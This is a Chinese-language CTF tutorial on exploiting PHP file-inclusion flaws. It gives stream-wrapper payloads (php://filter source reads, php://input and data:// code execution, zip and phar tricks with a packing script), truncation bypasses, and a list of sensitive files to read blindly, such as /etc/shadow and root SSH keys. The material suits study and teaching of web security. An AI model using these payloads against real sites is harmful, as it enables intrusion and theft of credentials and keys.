0%

CTF中的文件包含

前言

CTF比赛中文件包含总是作为第一步或者最后一步来进行信息泄露或者flag读取,大多数的文件包含与文件读取有关,剩下的可能就是通过文件包含来getshell。

这篇文章主要是记录一下我打CTF比赛中的一些文件包含漏洞利用经验(由于比赛大部分是PHP的文件包含,所以这里是以PHP的文件包含为案例来写的,其他语言的文件包含类似)。

CTF中的文件包含,看这一篇就够了!

基础知识

1、文件包含分为 :本地包含和远程包含 远程包含需要php.ini中的allow_url_include = On
2、inclue() include_once()和require()require_once区别 : 前者遇到错误给出警告继续执行,后者直接给出警告,终端执行!
3、一张表了解php的伪协议:

协议 测试php版本 allow_url_fopen allow_url_include 用法
file:// >=5.2 off/on off/on ?file=file:///etc/passwd
php://filter >=5.2 off/on off/on ?file=php://filter/read=convert.base64-encode/resource=./index.php
php://input >=5.2 off/on on ?file=php://input POST DATA
zip:// >=5.2 off/on off/on ?file=zip:///tmp/1.zip%231.txt
compress.bzip2:// >=5.2 off/on off/on ?file=compress.bzip2://./file.bz2
compress.zlib:// >=5.2 off/on off/on ?file=compress.zlib://./file.gz
data:// >=5.2 on on ?file=data://text/plain, or ?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg== or ?file=data:text/plain, or ?file=data.text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg==
phar:// >=5.2 off/on off/on ?file=phar://php.zip/php.jpg

4、除了基础知识,我们还需要了解一些特性:

  • %00截断 只适用于低版本php php <= 5.3.0 且magic_quotes_gpc 为off

  • 点号 系统特性截断 只适用于低版本php php <= 5.3.0
    windows 259个bytes . 可造成截断

    linux 4096个bytes . 可造成截断

  • 路径长度截断:
    ?file=../../../../../../../../../etc/passwd/././././././.[…]/./././././.
    (php版本小于5.3.0(?)可以成功,linux需要文件名长于4096,windows需要长于256)

  • 默认情况下 allow_url_fopen 为on allow_url_include 为off

各个协议详解

file协议
可在allow_url_fopen :off/on allow_url_include:off/on下均可使用,但是必须要用绝对路径,而且可以读取文件,当然文件内容不能是php代码形式(这点要切记,非常容易犯错)否则会被直接解析。如果不是php代码的内容会被直接显示出来。

php://协议
条件:
不需要开启allow_url_fopen,仅php://input、 php://stdin、 php://memory 和 php://temp 需要开启allow_url_include。
1、php://filter 不需要 allow_url 开启即可读取、包含。PHP代码读取需要编码否则直接执行php代码(很重要)
2、常用来读取代码的包含命令 php://filter/read=convert.base64-encode/resource=./cmd.php
3、php://input 需要 allow_url_include:on
4、当allow_url_include为On,而allow_url_fopen为Off的时候,不可以直接远程包含文件,但是可以使用php://input、 php://stdin、 php://memory 和 php://temp等伪协议
5、利用 php 的数据协议 data:// 可以查看文件源代码,前提是 php.ini 中的 allow_url_fopen 和 allow_url_include 两个配置为 on

zip协议
zip://, bzip2://, zlib://协议在allow_url双off的情况下都可以正常使用;

zip协议:php5.2.x需要绝对路径 其他版本可以相对路径 windows复现成功了
包含例子:zip://1.png%231.php 或者 zip://1.zip%231.php

phar协议
allow 两个都为ON 并且PHP版本高于5.3
例子:http://127.0.0.1/file.php?file=phar://phartest2.zip/a.jpg 和zip伪协议是一样的用法
生成phar打包代码:

1
2
3
4
5
6
7
8
9
10
11
<?php
$p = new PharData(dirname(__FILE__).'/phartest2.zip', 0,'phartest2',Phar::ZIP) ;
$x=file_get_contents('./php.php');
$p->addFromString('a.jpg',$x);
//会生成一个zip的压缩文件phartest2.zip 其中压缩了一个a.jpg a.jpg里面代码是php.php的内容
//当然和zip协议一样,你也可以把phartest2.zip改成任意后缀,这里的后缀和包含读取是没有关系的。怎么绕过白名单方便就怎么来
//然后我们构造http://127.0.0.1/file.php?file=phar://phartest2.zip/a.jpg
//也可以直接shell
//其中phar适用范围为php>5.3.0
?>

data:协议
allow_url 两个都需要 On (没用,都为on我直接就去php://input getshell了)
例子:data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg (phpinfo)

奇巧淫技

伪协议不只应用在文件包含中,所有对文件的操作都可以进行伪协议的利用,所以如果我们能控制文件名,就应该多跟一下这个文件名被哪些函数操作,而不是只关注在文件包含,下面这些函数都支持伪协议:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
fopen()
file_get_contents()
copy()
parse_ini_file()
readfile()
file_put_contents()
mkdir()
tempnam()
touch()
move_uploaded_file()
rename()
unlink()
rmdir()
require()
include()
require_once()
include_once()
ZipArchive::open()

另外实际渗透测试中,我们无法进行可控的文件包含,只能盲包(😂就是盲目包含),所以下面是一些常见可供包含的文件路径

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
日志路径
/var/log/apache/error.log
/var/log/apache/access_log
/var/www/logs/access_log
/var/log/asscess_log
/var/log/access.log
session 路径
/tmp/sess_phpsession_id

敏感信息路径
windows
c:\boot.ini #查看系统版本
c:\Windows\System32\inetsrv\MetaBase.xml #IIS配置文件
c:\Windows\repair\sam #存储系统初次安装密码
c:\Windows\php.ini #php配置信息
c:\Windows\my.ini #mysql配置信息
c:\Program Files\mysql\my.ini
c:\Program Files\mysql\data\mysql\user.MYD #mysql root
phpstudy的各种路径具体分析

linux
/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.ssh/id_rsa.keystore
/root/.ssh/known_hosts
/etc/passwd
/etc/shadow
/etc/my.cnf
/root/httpd/conf/httpd.conf
/root/.bash_history
/root/.mysql_history
/proc/self/fd/fd[0-9]*
/proc/mounts
/proc/config.gz
/etc/nginx/ #配置文件具体路径自己找
/etc/apache/ #配置文件具体路径自己找

结语

php文件包含是最骚的,因为php太灵活(毕竟是世界上最好的语言),其他文件包含可关注下jsp的文件包含,但是感觉其他语言的文件包含漏洞较少。比如jsp也分为本地文件和远程文件包含,远程文件包含很少开启,另外jsp文件包含必须是1.jsp这种格式的而不是php那种可以任意后缀进行文件包含,所以在这点上jsp比php安全很多。当然,安全没有绝对。

如果上述内容有问题欢迎留言或者直接把疑问发我邮箱。


采用署名-非商业性使用-相同方式共享 4.0(CC BY-NC-SA 4.0)许可协议
「分享也是一种学习」